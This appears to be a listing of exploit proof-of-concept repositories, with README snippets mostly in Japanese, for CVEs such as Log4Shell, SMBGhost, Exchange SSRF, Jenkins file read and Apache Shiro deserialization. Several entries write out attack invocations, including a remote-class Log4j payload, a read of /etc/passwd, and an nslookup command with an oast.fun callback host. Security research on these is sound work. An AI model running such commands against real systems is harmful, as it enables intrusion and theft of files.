python-log4rce

Python Log4RCE CVE-2021-44228 に対する、純粋な Python3 によるオールインワン PoCです。 サンプル python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class...

CVE-2024-7399-POC

CVE-2024-7399 CVE-2024-7399 のエクスプロイト。 詳細はこちら: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 使用方法: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...

SMBGhost-CVE-2020-0796-

CVE-2020-0796 远程溢出 POC 用于检测 CVE-2020-0796 / "SMBGhost" 的 POC 使用方法 请确保已安装 Python，然后运行 cve-2020-0796.py。...

CVE-2020-0796

CVE-2020-0796 リモートオーバーフロー PoC CVE-2020-0796 / "SMBGhost" をチェックする PoC 使用方法 Python がインストールされていることを確認し、cve-2020-0796.py を実行してください。...

cve-2022-22947

CVE-2022-22947 Poc for CVE-2022-22947 DnsLog 私がxrayのPoCを書いたとき、reverseがDNSリクエストを受信できず、長い間デバッグしました。そこで、Python版のPoCを書くことにしました…… python3 poc-cve-2022-22947.py...

CVE-2024-23897

使い方 python poc.py usage: python poc.py http://127.0.0.1:8888/ /etc/passwd...

CVE-2024-21413

CVE-2024-21413 このPythonスクリプトは、CVE-2024-21413 を通称「MonikerLink」として悪用するためのものです。 TryHackMe ルーム: MonikerLink 前提条件...

CVE-2020-0796-SMB

CVE-2020-0796-SMB このリソースはCVE-2020-0796脆弱性の再現で、Python版とC++版を含みます。主にGitHubの達人たちのリソースを集めたものです。お楽しみいただければ幸いです〜 C++ Python EXP POC 脆弱性の悪用： ローカルEXP権限昇格：https://github.com/danigargu/CVE-2020-0796 ローカルEXE権限昇格: https://github.com/f1tz/CVE-2020-0796-LPE-EXP POC版権限昇格：...

Joomla-CVE-2023-23752

Joomla-CVE-2023-23752 このPython実装は、CVE-2023-23752の悪用を説明する教育目的を果たします。このコードは、脆弱性がどのように悪用され得るかについての洞察を提供します。 目次 概要 インストール 使用方法 貢献 脆弱環境の展開 クレジット ライセンス 免責事項 概要 このプロジェクトは、CVE-2023-23752 情報漏えいの脆弱性を実証することを目的としたPython実装を示しています。セットアップと実行を効率化するためのdocker-compose.ymlファイルが含まれており、Proof of...

CVE-2021-26855_SSRF

CVE-2021-26855SSRF CVE-2021-26855 Exchange SSRF POC ceye.io のトークンと識別子を変更してください： token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' dnsurl = randomstr + '.XXXXXX.ceye.io' python CVE-2021-26855SSRF.py https://a.com...

CVE-2021-41617

CVE-2021-41617 POC python3 poc.py target.com...

CVE-2024-50623-poc

CVE-2024-50623-poc python poc.py --host http://192.168.0.1:8983...

CVE-2023-32315-POC

CVE-2023-32315-POC CVE-2023-32315-Openfire-Bypass-Py 概要 このコードはCVE-2023-32315のPython版PoCであり、一連の操作を実行して対象サイトがCVE-2023-32315脆弱性の影響を受けるかどうかを検証し、影響を受けるサイト上でいくつかの操作を試みます。 検証の結果、cookieのcsrfとjsessionidは必須ではなく、存在していて形式が正しければ問題ありません。4.0.x程度の低バージョンではcsrfは使用されていません。...

CVE-2023-24488-PoC

CVE-2023-24488 用 Python & Golang PoC ファイル Twitter@SirBagoza...

CVE-2026-89274

CVE-2026-89274 — WP Recipe Maker 任意ショートコード実行 WP Recipe Maker における CVE-2026-89274 の Python 3 による PoC スキャナ/エクスプロイト。 | ---|--- プラグイン| wp-recipe-maker 影響を受けるバージョン| ≤ 10.8.1 修正バージョン| 10.8.2+ CVSS| 9.1 Critical 認証| 不要 コメント投稿 CWE| CWE-94 概要 WPRMMetadata::sanitizemetadata は、メタデータフィールドに対して stripshortcodes...

ElasticSearch-CVE-2014-3120

ElasticSearch 検索リモートコード実行 CVE-2014-3120 CVE-2014-3120 を悪用する POC コード 必要条件: python 使用方法: python elasticcheck.py 例: ➜ $ python elasticcheck.py hostport.txt 0 10.0.0.10:9200 Vulnerable 1 10.0.0.11:9201 Not Vulnerable 2 10.0.0.12:9201 Connection error Vulnerable hosts: 1 Not-vulnerable hosts: 1...

CVE-2024-6205

CVE-2024-6205 pip install requests これはWordPressプラグインの最近の脆弱性のPythonで書かれたPoCです。詳細はこちら。 https://nvd.nist.gov/vuln/detail/CVE-2024-6205 https://cvefeed.io/vuln/detail/CVE-2024-6205...

CVE-2024-4577

CVE-2024-4577 python poc作成の練習用。単一ターゲットまたはバッチ検出に対応。...

CVE-2021-21402-Jellyfin

CVE-2021-21402-Jellyfin-任意ファイル読み取り このPOCは学習と交流のみを目的としており、これによって生じる一切の結果について私は責任を負いません。 python POC.py targets.txt...

CVE-2016-4437

CVE-2016-4437 ハードコードされた暗号鍵によるApache Shiroの逆シリアル化脆弱性CVE-2016-4437を悪用するPython PoC 使用例: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun 詳細については、コメントとコードを参照してください。...